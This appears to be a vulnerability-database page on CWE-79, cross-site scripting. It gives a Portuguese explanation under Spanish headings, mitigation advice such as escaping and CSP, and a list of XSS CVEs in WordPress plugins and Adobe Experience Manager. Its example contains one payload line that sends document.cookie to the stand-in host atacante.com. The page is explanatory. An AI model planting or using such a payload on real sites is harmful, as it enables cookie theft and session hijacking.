Fallos del tipo CWE-79

29.797 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-49860MEDIUMWordPress WP Project Manager Plugin <= 2.6.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-4567MEDIUMThemify Shortcodes <= 2.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via themify_button ShortcodeEPSS 0.4%CVE-2024-29918HIGHWordPress Survey Maker plugin <= 4.0.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49150MEDIUMWordPress Crypto Converter Widget Plugin <= 1.8.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36212MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-62652MEDIUMStored XSS in WebAuthn key nameEPSS 0.4%CVE-2025-2047MEDIUMPHPGurukul Art Gallery Management System search.php cross site scriptingEPSS 0.4%CVE-2024-36186MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-49168MEDIUMWordPress BP Better Messages Plugin <= 2.4.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-7302MEDIUMBlog2Social: Social Media Auto Post & Scheduler <= 7.5.4 - Authenticated (Author+) Stored Cross-Site Scripting via File UploadEPSS 0.4%CVE-2025-31461HIGHWordPress NanoSupport plugin <= 0.6.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32580HIGHWordPress DeBounce Email Validator plugin <= 5.7.1 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2024-36188MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-49149MEDIUMWordPress Currency Converter Calculator Plugin <= 1.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-31080HIGHWordPress HTML Forms plugin <= 1.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49847MEDIUMWordPress Annual Archive Plugin <= 1.6.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36185MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-31462HIGHWordPress CGM Event Calendar plugin <= 0.8.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-31086HIGHWordPress Product Table by WBW plugin <= 2.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-11110MEDIUMInappropriate implementation in Extensions in Google Chrome prior to 131.0.6778.69 allowed a remote attacker to bypass site isolation via a EPSS 0.4%